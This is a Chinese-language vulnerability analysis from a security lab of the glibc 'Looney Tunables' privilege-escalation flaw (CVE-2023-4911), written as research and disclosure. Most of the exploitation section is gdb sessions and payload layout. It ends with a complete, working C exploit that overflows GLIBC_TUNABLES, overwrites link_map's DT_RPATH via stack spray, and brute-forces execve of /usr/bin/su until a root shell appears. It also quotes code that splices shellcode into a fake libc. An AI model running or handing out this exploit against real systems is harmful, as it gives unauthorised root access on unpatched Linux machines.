原创 Paper | glibc 提权漏洞(CVE-2023-4911)分析

原创 Paper | glibc 提权漏洞(CVE-2023-4911)分析

白帽子 2023-12-27 00:14

作者:Hcamael@知道创宇404实验室

时间:2023年12月18日

1.前言****

参考资料

最近 glibc 被曝出一个漏洞:CVE-2023-4911。初步观察表明,该漏洞具有较为严重的潜在危害。本文旨在分析该漏洞,评估该漏洞的利用难度和危害。

2. 信息收集****

参考资料

网上能搜集到的信息如下:
– 漏洞详情[1]

  • 在环境 glibc 2.35-0ubuntu3 (aarch64) 和 glibc 2.36-9+deb12u2 (amd64)下测试通过的 exp[2]

3. 漏洞点

参考资料

我们先通过详情来看漏洞点,根据漏洞详情中的介绍,该漏洞位于 glibc 的elf/dl-tunables.c
文件中的parse_tunables
函数:

static voidparse_tunables (char *tunestr, char *valstring){  if (tunestr == NULL || *tunestr == '\0')    return;  char *p = tunestr;  size_t off = 0;  while (true)    {      char *name = p;      size_t len = 0;      /* First, find where the name ends.  */      while (p[len] != '=' && p[len] != ':' && p[len] != '\0')    len++;      /* If we reach the end of the string before getting a valid name-value     pair, bail out.  */      if (p[len] == '\0')    {      if (__libc_enable_secure)        tunestr[off] = '\0';      return;    }      /* We did not find a valid name-value pair before encountering the     colon.  */      if (p[len]== ':')    {      p += len + 1;      continue;    }      p += len + 1;      /* Take the value from the valstring since we need to NULL terminate it.  */      char *value = &valstring[p - tunestr];      len = 0;      while (p[len] != ':' && p[len] != '\0')    len++;      /* Add the tunable if it exists.  */      for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)    {      tunable_t *cur = &tunable_list[i];      if (tunable_is_name (cur->name, name))        {          /* If we are in a secure context (AT_SECURE) then ignore the         tunable unless it is explicitly marked as secure.  Tunable         values take precedence over their envvar aliases.  We write         the tunables that are not SXID_ERASE back to TUNESTR, thus         dropping all SXID_ERASE tunables and any invalid or         unrecognized tunables.  */          if (__libc_enable_secure)        {          if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)            {              if (off > 0)            tunestr[off++] = ':';              const char *n = cur->name;              while (*n != '\0')            tunestr[off++] = *n++;              tunestr[off++] = '=';              for (size_t j = 0; j < len; j++)            tunestr[off++] = value[j];            }          if (cur->security_level != TUNABLE_SECLEVEL_NONE)            break;        }          value[len] = '\0';          tunable_initialize (cur, value);          break;        }    }      if (p[len] != '\0')    p += len + 1;    }}

调用该函数的代码位于该文件的__tunables_init
函数中:

void__tunables_init (char **envp){  char *envname = NULL;  char *envval = NULL;  size_t len = 0;  char **prev_envp = envp;  maybe_enable_malloc_check ();  while ((envp = get_next_env (envp, &envname, &len, &envval,                   &prev_envp)) != NULL)    {#if TUNABLES_FRONTEND == TUNABLES_FRONTEND_valstring      if (tunable_is_name (GLIBC_TUNABLES, envname))    {      char *new_env = tunables_strdup (envname);      if (new_env != NULL)        parse_tunables (new_env + len + 1, envval);      /* Put in the updated envval.  */      *prev_envp = new_env;      continue;    }#endif......}

相关代码不长,仔细看几遍代码就能理解,理解困难的话建议加上调试,此处我就总结一下该漏洞触发的流程。

1.匹配环境变量GLIBC_TUNABLES

2.该环境变量的值使用tunables_strdup
函数,类似strdup
函数,就是把字符串放到堆
上,但是因为这个时候 libc 还没有初始化完成,所以使用的是__minimal_malloc

3.接着调用 parse_tunables 函数来处理GLIBC_TUNABLES
环境变量的值。

4.libc 有一个表:tunable_list,可以通过 gdb 来输出一下这个表的信息。

5.当__libc_enable_secure
启用使用,并且安全等级不是TUNABLE_SECLEVEL_SXID_ERASE
时,会对环境变量进行一些处理,而这个处理就造成缓冲区溢出漏洞。

溢出的原因请仔细阅读parse_tunables
函数代码,这里不再展开。不过下面给出一个示例来演示一下溢出的过程,这里有一个要注意的地方:gdb 没办法直接调试 suid 的程序,需要用到一个小技巧。

首先写一个中间程序:

// a.c#include <unistd.h>int main(int argc, char *argv[]){  char *cmd[] = {"/usr/bin/su", "--help"};  char *envp[] = {"GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"};    execve(cmd[0], cmd, envp);    return 0;}// gcc a.c -o a

再编写一个.gdbinit
文件:

$ cat .gdbinitstartset follow-exec-mode newdir /usr/src/glibc/glibc-2.35/elf/b __GI___tunables_initc

接着就能开始使用 gdb 进行调试:

$ gdb a ? 0x7f43e9d6c560 <__GI___tunables_init>       endbr64# 接着找到 tunables_strdup 函数中 __minimal_malloc 的位置,找到申请的内存地址pwndbg> b *(__GI___tunables_init+511)pwndbg> c ? 0x7f43e9d6c75f <__GI___tunables_init+511>    call   __minimal_malloc                <__minimal_malloc>        rdi: 0x3apwndbg> ni*RAX  0x7f43e9d902e0 ?— 0x0# 然后断点下到 parse_tunablespwndbg> b parse_tunablespwndbg> cpwndbg> x/4s 0x7f43e9d902e00x7f43e9d902e0: "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A"0x7f43e9d90319: ""0x7f43e9d9031a: ""0x7f43e9d9031b: ""# 确认一下 __libc_enable_secure = 1pwndbg> p __libc_enable_secure$1 = 1# 接着找到 parse_tunables 结束的代码pwndbg> b *(__GI___tunables_init+729)pwndbg> cpwndbg> x/4s 0x7f43e9d902e00x7f43e9d902e0: "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A:glibc.malloc.mxfast=A:glibc.malloc.mxfast=u:glibc.malloc.mxfast=" # 缓冲区溢出0x7f43e9d9035a: ""0x7f43e9d9035b: ""0x7f43e9d9035c: ""

4.利用条件

参考资

先来说说该漏洞利用的一些前置条件,通过parse_tunables
函数的代码,可以发现,只有当__libc_enable_secure == 1
的情况下,才会进入有漏洞的分支,那么什么情况下__libc_enable_secure=1
呢?

翻阅 glibc 的代码,发现__libc_init_secure
函数:

void__libc_init_secure (void){  if (__libc_enable_secure_decided == 0)    __libc_enable_secure = (startup_geteuid () != startup_getuid ()                || startup_getegid () != startup_getgid ());}

也就是说,只有当运行 suid/sgid 程序时,__libc_enable_secure
才会等于 1,如下所示:

$ iduid=1000(ubuntu) gid=1000(ubuntu)$ ls -alF /usr/bin/su-rwsr-xr-x 1 root root 55672 Feb 21  2022 /usr/bin/su*# su程序的__libc_enable_secure=1$ ls -alF test1-rwsrwsr-x 1 www-data www-data 17224 Oct 13 22:06 test1*# 运行test1程序,__libc_enable_secure也等于1$ ls -alF test2-rwsrwsr-x 1 ubuntu ubuntu 17224 Oct 13 22:06 test2*# 运行test2程序,__libc_enable_secure等于0

也就是说,该漏洞的作用其实是用来越权,但是从一个受限用户越权到另一个受限用户的作用有限,不如从普通用户越权到 root 用户,以达到提权的效果。所以该漏洞最后的利用思路就是用来提权,本质上就是去溢出(PWN) 一个有 root 权限的程序,所以和内核提权的漏洞还是有本质上的区别。

再加上,该漏洞的输入点位于环境变量,所以该漏洞也就只能用来提权。

5. 漏洞利用

参考资料

首先,我想说一下该部分的内容。在完全理解漏洞发现者的利用思路后,我发现 glibc 的代码量还是非常大的,我目前也做不到对 glibc 的每个细节都了如指掌,所以暂时也没想到比该利用思路更完美的方法,以下内容只是分享一下我对该利用思路的研究过程和理解。

1.简单地浏览一下公开的exp
代码,发现如下代码:

    with open(hax_path["path"] + b"/libc.so.6", "wb") as fh:        fh.write(libc_e.d[0:__libc_start_main])        fh.write(shellcode)        fh.write(libc_e.d[__libc_start_main + len(shellcode) :])

随后可进行推测,因为漏洞是发生在ld
加载程序中,所以可能替换掉 libc 的加载路径,就能加载自己修改过的恶意 libc 库。而加载程序 libc 时会默认运行起始函数的代码,起始函数是__libc_start_main
函数,所以把这部分的代码替换成自己要执行的 shellcode,那么加载恶意 libc 库的时候就会执行恶意嵌入的 shellcode 代码。

接下来就是开始研究该漏洞是如何替换掉 libc 的加载路径。

2.在相应的环境上运行一下,ASLR 开启的情况下,exp 不是一次就能成功的,ASLR 关闭的情况下没利用成功,暂且不管。

3.继续看exp
代码,发现跟程序地址有关的只有一个stack_top
地址,表示栈顶地址,而且经过计算后,最后的payload
中,该地址是一个定值,不会发现变化。我对这种利用方式深感好奇,认为这一利用思路非常巧妙,仅需覆盖一个栈地址即可替换 libc 的加载路径。

4.接下来我花一些时间去一步步调试,最后理解清楚该利用思路。为了节省大家时间,这里用一个 demo,然后缩减 exp 的内容,来帮助大家理解该利用思路。

首先写一个测试程序:

// test.c#include <stdio.h>unsigned long ptr = -0x18ULL;int main(int argc, char *argv[]){    printf("Hello World.");    return 0;}// gcc test.c -g -no-pie -o test// ls -alF test// -rwsrwsr-x 1 root root 17224 Oct 13 22:06 test*

我们设置的第一个环境变量为:

char fill[0xd00];strcpy(fill, "GLIBC_TUNABLES=glibc.malloc.mxfast=");for (int i = strlen(fill1); i < (0xd00 - 1); i++){        fill[i] = 'A';}fill[0xd00 - 1] = '\0';

这部分将会调用__minimal_malloc(0xd00 + 1)
,这个时候的内存信息如下:

RAX 
 0x7f4109f8f2e0 ?— 0x0     # malloc的返回值pwndbg> vmmap0x7f4109f8c000     0x7f4109f90000 rw-p     4000 37000  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2> hex(0x7f4109f8f2e0 + 0xd01)'0x7f4109f8ffe1'> hex(0x7f4109f90000 - 0x7f4109f8ffe1)'0x1f'

也就是说,这部分内存区域只剩下 0x1f 字节,如果后续还要调用 malloc,那么则会通过 mmap 申请一段新内存区域。

第一部分不会触发溢出漏洞。

设置的第二部分环境变量为:

#define PAYLOAD_SIZE 0x100char payload[PAYLOAD_SIZE];strcpy(payload, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");for (int i = strlen(payload); i < PAYLOAD_SIZE - 1; i++){    payload[i] = 'B';}    payload[PAYLOAD_SIZE - 1] = '\0';

第二部分将会调用__minimal_malloc(0x100 + 1)
,这个时候的内存信息如下:

*RAX  0x7f4109f52000 ?— 0x0     # malloc的返回值pwndbg> vmmap  0x7f4109f52000     0x7f4109f54000 rw-p     2000 0      [anon_7f4109f52]> hex(0x7f4109f52000 + 0x100)'0x7f4109f52100'

如果我们构造的代码到此为止,那么下一次 ld 获取内存是位于_dl_new_object
函数中,调用__minimal_calloc
函数,调试情况如下所示:

pwndbg> b *(_dl_new_object+109)pwndbg> c   0x7f4908e899fd <_dl_new_object+109>     call   qword ptr [rip + 0x2c06d]     <__minimal_calloc>pwndbg> ni*RAX  0x7f4908e74c40 ?— 0x0

调用_dl_new_object
是为了给struct link_map
结构体申请内存,所以可以查看一下该结构:

pwndbg> b *(_dl_new_object+115)pwndbg> c   0x7ffaa8c249fd <_dl_new_object+109>: call   QWORD PTR [rip+0x2c06d]        # 0x7ffaa8c50a70 <__rtld_calloc> # __minimal_calloc=> 0x7ffaa8c24a03 <_dl_new_object+115>: mov    r14,raxpwndbg> p *((struct link_map *) $rax)$1 = {  l_addr = 4774451407232463713,  l_name = 0x4242424242424242 <error: Cannot access memory at address 0x4242424242424242>,  l_ld = 0x4242424242424242,  l_next = 0x4242424242424242,  l_prev = 0x4242424242424242,  l_real = 0x4242424242424242,  l_ns = 4774451407313060418,  l_libname = 0x4242424242424242,  l_info = {0x4242424242424242 <repeats 17 times>, 0x696c673a42424242, 0x6f6c6c616d2e6362, 0x74736166786d2e63, 0x3d, 0x0 <repeats 24 times>, 0x2e6362696c673a00, 0x6d2e636f6c6c616d, 0x3d7473616678, 0x0 <repeats 29 times>},

通过该结构的数据发现,我们可以成功覆盖struct link_map
结构体,所以这个时候产生了一个思路:通过覆盖该结构体的某个指针来达到命令执行的目的,而这需要对 glibc 的代码非常熟悉,加上调试测试,才可能找到一个可行的利用链。

而漏洞发现者找到的利用链,利用到了link_map->l_info[DT_RPATH]
成员变量,相关代码位于elf/dl-load.c
文件的_dl_init_paths
函数:

void_dl_init_paths (const char *llp, const char *source,        const char *glibc_hwcaps_prepend,        const char *glibc_hwcaps_mask){......      if (l->l_info[DT_RPATH])    {      /* Allocate room for the search path and fill in information         from RPATH.  */      decompose_rpath (&l->l_rpath_dirs,               (const void *) (D_PTR (l, l_info[DT_STRTAB])                       + l->l_info[DT_RPATH]->d_un.d_val),               l, "RPATH");      /* During rtld init the memory is allocated by the stub         malloc, prevent any attempt to free it by the normal         malloc.  */      l->l_rpath_dirs.malloced = 0;    }      else    l->l_rpath_dirs.dirs = (void *) -1;    }......

关于DT_RPATH
的用法,可以 Google 搜索一下:

简单来说,DT_RPATH
的值是一个偏移值,如果设置该值,那么就会在执行程序的DT_STRTAB
表中搜索字符串作为 libc 的搜索路径。

这样就产生一条利用链:通过内存溢出,设置link_map->l_info[DT_RPATH]
,从而控制libc
库加载的搜索路径,加载恶意的 libc.so 来达到命令执行目的。

我们来简单测试一下:

pwndbg> x/10gx 0x4040280x404028:   0x0000000000000000  0xffffffffffffffe8     # 这个就是我们test.c代码中设置的unsigned long ptr = -0x18ULL;0x404038 <completed.0>: 0x0000000000000000  0x00000000000000000x404048:   0x0000000000000000  0x00000000000000000x404058:   0x0000000000000000  0x0000000000000000pwndbg> b *(_dl_init_paths+669)pwndbg> c ? 0x7f8596e999ad <_dl_init_paths+669>    mov    rax, qword ptr [rbx + 0xb8]   // l->l_info[DT_RPATH] = [rbx + 0xb8]   0x7f8596e999b4 <_dl_init_paths+676>    mov    qword ptr [rbx + 0x3c0], -1   0x7f8596e999bf <_dl_init_paths+687>    test   rax, rax   0x7f8596e999c2 <_dl_init_paths+690>    je     _dl_init_paths+949                <_dl_init_paths+949>────────[ SOURCE (CODE) ]─────────In file: /usr/src/glibc/glibc-2.35/elf/dl-load.c   804   else   805     {   806       l->l_runpath_dirs.dirs = (void *) -1;   807 ? 808       if (l->l_info[DT_RPATH])   809  {   810    /* Allocate room for the search path and fill in information   811       from RPATH.  */   812    decompose_rpath (&l->l_rpath_dirs,   813             (const void *) (D_PTR (l, l_info[DT_STRTAB])pwndbg> x/gx $rbx + 0xb80x7fb757376398: 0x0000000000000000pwndbg> set *0x7fb757376398=0x404028pwndbg> p ((struct link_map *) $rbx)->l_info[15]$4 = (Elf64_Dyn *) 0x404028pwndbg> b *(_dl_init_paths+718)pwndbg> c ? 0x7fb7573439de <_dl_init_paths+718>    add    rsi, qword ptr [rax + 8]      <ptr>   0x7fb7573439e2 <_dl_init_paths+722>    lea    rdi, [rbx + 0x330]   0x7fb7573439e9 <_dl_init_paths+729>    lea    rcx, [rip + 0x253c8]   0x7fb7573439f0 <_dl_init_paths+736>    add    rsi, rdx   0x7fb7573439f3 <_dl_init_paths+739>    mov    rdx, rbx   0x7fb7573439f6 <_dl_init_paths+742>    call   decompose_rpath                <decompose_rpath>────────[ SOURCE (CODE) ]─────────In file: /usr/src/glibc/glibc-2.35/elf/dl-load.c   809  {   810    /* Allocate room for the search path and fill in information   811       from RPATH.  */   812    decompose_rpath (&l->l_rpath_dirs,   813             (const void *) (D_PTR (l, l_info[DT_STRTAB]) ? 814                     + l->l_info[DT_RPATH]->d_un.d_val),   815             l, "RPATH");pwndbg> b *(_dl_init_paths+742)pwndbg> c ? 0x7fb7573439f6 <_dl_init_paths+742>    call   decompose_rpath                <decompose_rpath>        rdi: 0x7fb757376610 ?— 0x0        rsi: 0x400418 ?— 0x200000003b /* ';' */        rdx: 0x7fb7573762e0 ?— 0x0        rcx: 0x7fb757368db8 ?— 0x3b3a004854415052 /* 'RPATH' */

路径就是decompose_rpath
函数的第二个参数,是一个指针,其值为0x400418
,指向”;”字符串,那么该值是如何算出来的?STRTAB 地址为0x400430
,我们设置的l->l_info[DT_RPATH]->d_un.d_val = -0x18
,两者相加,就等于0x400418
。接着继续调试:

# 执行完decompose_rpath后,查看link_map结构体pwndbg> p **(((struct link_map *) $rbx)->l_rpath_dirs->dirs)$7 = {  next = 0x7f33ac209000,  what = 0x7f33ac238db8 "RPATH",  where = 0x7f33ac2091bb "",  dirname = 0x7f33ac2091b8 ";/",     # 成功设置了libc搜索路径  dirnamelen = 2,  status = 0x7f33ac209198}pwndbg> b open_verifyBreakpoint 4 at 0x7f33ac211940 (2 locations)pwndbg> c*RDI  0x7fff0b17b0a0 ?— ';/tls/x86_64/x86_64/libc.so.6'# 这里可以一直按c,查看rdi寄存器,最简单的路径如下*RDI  0x7fff0b17b0a0 ?— ';/libc.so.6'# 接着就可以关闭断点,继续执行了,就可以得到shell,如果执行失败,那可能是因为你没创建';/libc.so.6'文件pwndbg> c$ iduid=1000(ubuntu) gid=1000(ubuntu)

由于是使用 gdb 进行调试,所以没能获得 root 权限,但是这并不构成问题。只要我们走通流程,就可以进入下一步。

我们该如何覆盖到link_map->l_info[DT_RPATH]
结构?我们已知,在执行完__tunables_init
函数后,下一次申请内存地址就是在_dl_new_object
函数,也就是说,我们要覆盖的地址和我们溢出的内存是相邻的。

也就是要溢出覆盖到之后偏移为0xb8
的地址 ,并且这区间的地址值建议覆盖成\0
,防止 glibc 代码中有相关的检查导致报错。

我研究出一种简单的方法来快速调试需要覆盖的地址偏移:

1.我们断点下在_dl_new_object函数的calloc处,也就是_dl_new_object+109,方便调试,查看内存布局

2.在exp.c中,envp[0] = fill1;用来填充旧的内存区域,envp[1] = payload;用来进行内存溢出。

因此之后要留有一部分区域置 0,直到设置到\xb8
:

for (int i=2;i<ENVP_SIZE-1;i++)  envp[i] = "";envp[0x20 + 0xb8] = "\x28\x40\x40";# payload 的长度随便设置,暂时选择了 0x100

接着调试,看看我们这样的布局能溢出成怎样的内存布局:

pwndbg> b *(_dl_new_object+109)pwndbg> cpwndbg> vmmap    0x7fca03d3c000     0x7fca03d3e000 rw-p     2000 0      [anon_7fca03d3c]pwndbg> x/64gx 0x7fca03d3c000 + 0x100......0x7fca03d3c1f0: 0x000000000000003d  0x00000000000000000x7fca03d3c200: 0x0000000000000000  0x00000000000000000x7fca03d3c210: 0x0000000000000000  0x00000000000000000x7fca03d3c220: 0x0000000000000000  0x00000000000000000x7fca03d3c230: 0x0000000000000000  0x00000000000000000x7fca03d3c240: 0x0000000000000000  0x00000000000000000x7fca03d3c250: 0x0000000000000000  0x00000000000000000x7fca03d3c260: 0x0000000000000000  0x00000000000000000x7fca03d3c270: 0x0000000000000000  0x00000000000000000x7fca03d3c280: 0x0000000000000000  0x00000000000000000x7fca03d3c290: 0x0000000000000000  0x00000000000000000x7fca03d3c2a0: 0x0000000000000000  0x00000000000000000x7fca03d3c2b0: 0x0000404028000000  0x2e6362696c673a000x7fca03d3c2c0: 0x6d2e636f6c6c616d  0x00003d74736166780x7fca03d3c2d0: 0x0000000000000000  0x00000000000000000x7fca03d3c2e0: 0x0000000000000000  0x00000000000000000x7fca03d3c2f0: 0x0000000000000000  0x0000000000000000

我们覆盖的值为0x404028
,从上面可以看出该值的地址为: 0x7fca03d3c2b3
,计算一下:

>>> hex(0x7fca03d3c2b3 - 0x7fca03d3c1f8)'0xbb'# 发现大于0xb8

从这里可以得知link_map
结构体的前部分结构应该没有问题,但是问题在于后部:

pwndbg> x/6gx 0x7fca03d3c2b30x7fca03d3c2b3: 0x673a000000404028  0x6c616d2e6362696c0x7fca03d3c2c3: 0x6166786d2e636f6c  0x00000000003d74730x7fca03d3c2d3: 0x0000000000000000  0x0000000000000000pwndbg> x/5s 0x7fca03d3c2b30x7fca03d3c2b3: "(@@"0x7fca03d3c2b7: ""0x7fca03d3c2b8: ""0x7fca03d3c2b9: ":glibc.malloc.mxfast="0x7fca03d3c2cf: ""

受漏洞点的限制,溢出的结尾必定有:xxxxx=
字符,我们要做的就是让该字符,离link_map
结构远一点,或者该部分区域会在ld
中进行初始化设置。

想要精细的调整,需要去研究哪些结构可以不置 0,但是我认为这种程度的精细调整并非必要,只需要调整payload
的长度,和envp[0x20 + 0xb8]
前部分这个偏移值,让:xxxxx=
字符串不影响到我们覆盖的地址就行。先这样使用,如果遇到报错,则继续调整,这样我们就没有必要继续阅读 glibc 源码。

当我把payload
的大小调整为0x200
时,这个时候的内存布局如下:

pwndbg> vmmap    0x7f94440ce000     0x7f94440d0000 rw-p     2000 0      [anon_7f94440ce]pwndbg> x/2gx 0x7f94440ce000 + 0x2000x7f94440ce200: 0x616d2e6362696c67  0x66786d2e636f6c6cpwndbg> x/8gx 0x7f94440ce4b30x7f94440ce4b3: 0x0000000000404028  0x00000000000000000x7f94440ce4c3: 0x0000000000000000  0x00000000000000000x7f94440ce4d3: 0x0000000000000000  0x00000000000000000x7f94440ce4e3: 0x0000000000000000  0x0000000000000000pwndbg> x/32gx 0x7f94440ce4b3 - 0xb80x7f94440ce3fb: 0x0000000000000000  0x00000000000000000x7f94440ce40b: 0x0000000000000000  0x00000000000000000x7f94440ce41b: 0x0000000000000000  0x00000000000000000x7f94440ce42b: 0x0000000000000000  0x00000000000000000x7f94440ce43b: 0x0000000000000000  0x00000000000000000x7f94440ce44b: 0x0000000000000000  0x00000000000000000x7f94440ce45b: 0x0000000000000000  0x00000000000000000x7f94440ce46b: 0x0000000000000000  0x00000000000000000x7f94440ce47b: 0x0000000000000000  0x00000000000000000x7f94440ce48b: 0x0000000000000000  0x00000000000000000x7f94440ce49b: 0x0000000000000000  0x00000000000000000x7f94440ce4ab: 0x0000000000000000  0x0000000000404028

从上面的内存布局来看,我们构造的link_map
结构是没问题的,但是怎么让link_map
申请的内存段为我们设置好的这段呢?我们先算一下,我们需要让link_map = 0x7f94440ce3fb
,那么:

>>> hex(0x7f94440ce3fb - 0x7f94440ce200)'0x1fb'

中间这0x1fb
字节需要被填充。另外需要考虑对齐的问题,堆分配到的地址不可能结尾地址为0xfb
,所以还需要微调一下:envp[0x25 + 0xb8] = “\x28\x40\x40”;

再看一下内存结构:

pwndbg> vmmap    0x7f52386a6000     0x7f52386a8000 rw-p     2000 0      [anon_7f52386a6]pwndbg> x/2gx 0x7f52386a6000 + 0x2000x7f52386a6000: 0x616d2e6362696c67  0x66786d2e636f6c6cpwndbg> x/2gx 0x7f52386a64b80x7f52386a64b8: 0x0000000000404028  0x0000000000000000pwndbg> x/32gx 0x7f52386a64b8 - 0xb80x7f52386a6400: 0x0000000000000000  0x00000000000000000x7f52386a6410: 0x0000000000000000  0x00000000000000000x7f52386a6420: 0x0000000000000000  0x00000000000000000x7f52386a6430: 0x0000000000000000  0x00000000000000000x7f52386a6440: 0x0000000000000000  0x00000000000000000x7f52386a6450: 0x0000000000000000  0x00000000000000000x7f52386a6460: 0x0000000000000000  0x00000000000000000x7f52386a6470: 0x0000000000000000  0x00000000000000000x7f52386a6480: 0x0000000000000000  0x00000000000000000x7f52386a6490: 0x0000000000000000  0x00000000000000000x7f52386a64a0: 0x0000000000000000  0x00000000000000000x7f52386a64b0: 0x0000000000000000  0x00000000004040280x7f52386a64c0: 0x0000000000000000  0x00000000000000000x7f52386a64d0: 0x0000000000000000  0x00000000000000000x7f52386a64e0: 0x0000000000000000  0x00000000000000000x7f52386a64f0: 0x0000000000000000  0x0000000000000000>>> hex(0x7f52386a6400 - 0x7f52386a6200 - 0x10)'0x1F0'# 减去 0x10 是因为 payload 长度为 0x200,实际 malloc 申请的是 0x201,再加上偏移,所以下一个堆其实地址应该是 +0x210

这样,我们就需要在前面填充 0x1F0 字节,那怎么填充呢?可以利用开头填充上一块堆的思路。

#define PADDING_SIZE 0x1F0char padding[PADDING_SIZE-3];strcpy(padding, "GLIBC_TUNABLES=");for (int i = strlen(padding); i < (PADDING_SIZE - 4); i++){        padding[i] = 'D';}padding[PADDING_SIZE - 4] = '\0';envp[ENVP_SIZE-2] = padding;

调试看看:

pwndbg> b *(_dl_new_object+115)pwndbg> cpwndbg> p ((struct link_map *) $rax)->l_info[15]$2 = (Elf64_Dyn *) 0x404028

内存布局没问题,这个时候就删除断点直接运行试试。发现成功执行命令,接着就是退出 gdb,直接执行我们的 exp 程序,成功获取到 root 权限。

5.1 结合实际

前面的内容帮我们把利用思路都给梳理好了,但是和实际还是有差距的,因为在实际环境中,不存在一个test
程序, 这个我们测试用的test
程序是没有开PIE
的,所以我们写入0x404028
地址,可以稳定触发。

我查找了 ubuntu 的实际程序,所有suid
的程序都开启 PIE 保护,也就是说,我们没有一个已知地址。我又查看了内存布局,在执行ld
代码的时候,内存布局大致如下:

pwndbg> vmmap    0x55985479c000     0x55985479e000 r--p     2000 0      /usr/sbin/unix_chkpwd    0x55985479e000     0x5598547a1000 r-xp     3000 2000   /usr/sbin/unix_chkpwd    0x5598547a1000     0x5598547a2000 r--p     1000 5000   /usr/sbin/unix_chkpwd    0x5598547a2000     0x5598547a4000 rw-p     2000 5000   /usr/sbin/unix_chkpwd    0x7faf282aa000     0x7faf282ac000 r--p     2000 0      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2    0x7faf282ac000     0x7faf282d6000 r-xp    2a000 2000   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2    0x7faf282d6000     0x7faf282e1000 r--p     b000 2c000  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2    0x7faf282e2000     0x7faf282e6000 rw-p     4000 37000  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2    0x7ffd042d5000     0x7ffd042f6000 rw-p    21000 0      [stack]    0x7ffd0439e000     0x7ffd043a2000 r--p     4000 0      [vvar]    0x7ffd043a2000     0x7ffd043a4000 r-xp     2000 0      [vdso]0xffffffffff600000 0xffffffffff601000 --xp     1000 0      [vsyscall]

我们只能确定vsyscall
地址,但是很抱歉,该地址没有可读权限,所以没办法利用。在没有已知地址的情况下,这个时候能想到的只有内存 Spray 了,比较合适的是 Stack Spray。

所以考虑通过环境变量来在栈上填充-0x14UL
,代码如下:

#define STACK_SIZE 0x20000char stack_spray[STACK_SIZE];for (int i = 0; i < STACK_SIZE; i += 8){    *(uintptr_t *)(stack_spray + i) = -0x14ULL;}stack_spray[STACK_SIZE - 1] = '\0';for (int i = 0; i < 0x2F; i++){    envp[0x180 + i] = stack_spray;}

一般情况下可能会报错:execve(“/usr/bin/su”, [“/usr/bin/su”, “–help”], 0x7fff64f33a50 / 499 vars /) = -1 E2BIG (Argument list too long)

可以在 execve 前调用一下下方代码,可以让缓冲区扩大到:0x20000 * 0x2F
:

    struct rlimit rlim = {RLIM_INFINITY, RLIM_INFINITY};  if (setrlimit(RLIMIT_STACK, &rlim) < 0)  {    perror("setrlimit");  }

剩下的任务就是确定一个栈地址,接着就是顺其自然的爆破了。

6. 相关代码

参考资料

最后贴一下简化版的相关代码:

#include <unistd.h>#include <string.h>#include <stdint.h>#include <sys/resource.h>#include <stdio.h>#include <time.h>#include <sys/wait.h>#define ENVP_SIZE 600#define PADDING_SIZE 0x1F0#define STACK_SIZE 0x20000int64_t time_us(){    struct timespec tms;    /* POSIX.1-2008 way */    if (clock_gettime(CLOCK_REALTIME, &tms))    {        return -1;    }    /* seconds, multiplied with 1 million */    int64_t micros = tms.tv_sec * 1000000;    /* Add full microseconds */    micros += tms.tv_nsec / 1000;    /* round up if necessary */    if (tms.tv_nsec % 1000 >= 500)    {        ++micros;    }    return micros;}int main(int argc, char *argv[]){//  char *nargv[] = {"/home/hehe/Documents/libc-exp/test",  NULL};        char *nargv[] = {"/usr/bin/su", "--help", 0};        char *envp[ENVP_SIZE] = {0, };    char fill1[0xd00];    char payload[0x200];    char padding[PADDING_SIZE-3];    char stack_spray[STACK_SIZE];    strcpy(fill1, "GLIBC_TUNABLES=glibc.malloc.mxfast=");    for (int i = strlen(fill1); i < sizeof(fill1) - 1; i++)        {            fill1[i] = 'A';        }        fill1[sizeof(fill1) - 1] = '\0';    strcpy(payload, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=");        for (int i = strlen(payload); i < sizeof(payload) - 1; i++)        {            payload[i] = 'B';        }        payload[sizeof(payload) - 1] = '\0';    strcpy(padding, "GLIBC_TUNABLES=");    for (int i = strlen(padding); i < (PADDING_SIZE - 4); i++)    {        padding[i] = 'D';    }    padding[PADDING_SIZE - 4] = '\0';    for (int i = 0; i < STACK_SIZE; i += 8)    {        *(uintptr_t *)(stack_spray + i) = -0x14ULL;    }    stack_spray[STACK_SIZE - 1] = '\0';        for (int i = 2; i < ENVP_SIZE-1; i++)    {        envp[i] = "";    }    envp[0] = fill1;    envp[1] = payload;        // envp[0] = "";        // envp[1] = "";    envp[0x25 + 0xb8] = "\x10\xF0\xFF\xFF\xFC\x7F";    for (int i = 0; i < 0x2F; i++)    {        envp[0x200 + i] = stack_spray;    }        envp[0x1FE] = padding;    envp[0x23F] = "AAAA";    struct rlimit rlim = {RLIM_INFINITY, RLIM_INFINITY};        if (setrlimit(RLIMIT_STACK, &rlim) < 0)        {            perror("setrlimit");        }    int pid;    for (int ct = 1;; ct++)    {        if (ct % 100 == 0)        {            printf("try %d\n", ct);        }        if ((pid = fork()) < 0)        {            perror("fork");            break;        }        else if (pid == 0) // child        {            if (execve(nargv[0], nargv, envp) < 0)            {                perror("execve");                break;            }        }        else // parent        {            int wstatus;            int64_t st, en;            st = time_us();            wait(&wstatus);            en = time_us();            if (!WIFSIGNALED(wstatus) && en - st > 1000000)            {                // probably returning from shell :)                break;            }        }    }    // execve(nargv[0], nargv, envp);    return 0;}

测试情况如下:

$ ./myexptry 100try 200try 300try 400try 500try 600try 700try 800try 900try 1000try 1100try 1200try 1300try 1400# id
uid=0(root) gid=0(root)

7. 修复方案

参考资料

各大系统都对该漏洞发布了更新补丁,比如ubuntu
系统,可以使用如下命令对 glibc 进行更新:

# apt-get update# apt-get upgrade libc6

8. 参考文档

参考资料
1. https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt

  1. https://haxx.in/files/gnu-acme.py

作者名片****

往 期 热 门****

(点击图片跳转)




“阅读原文”
更多精彩内容!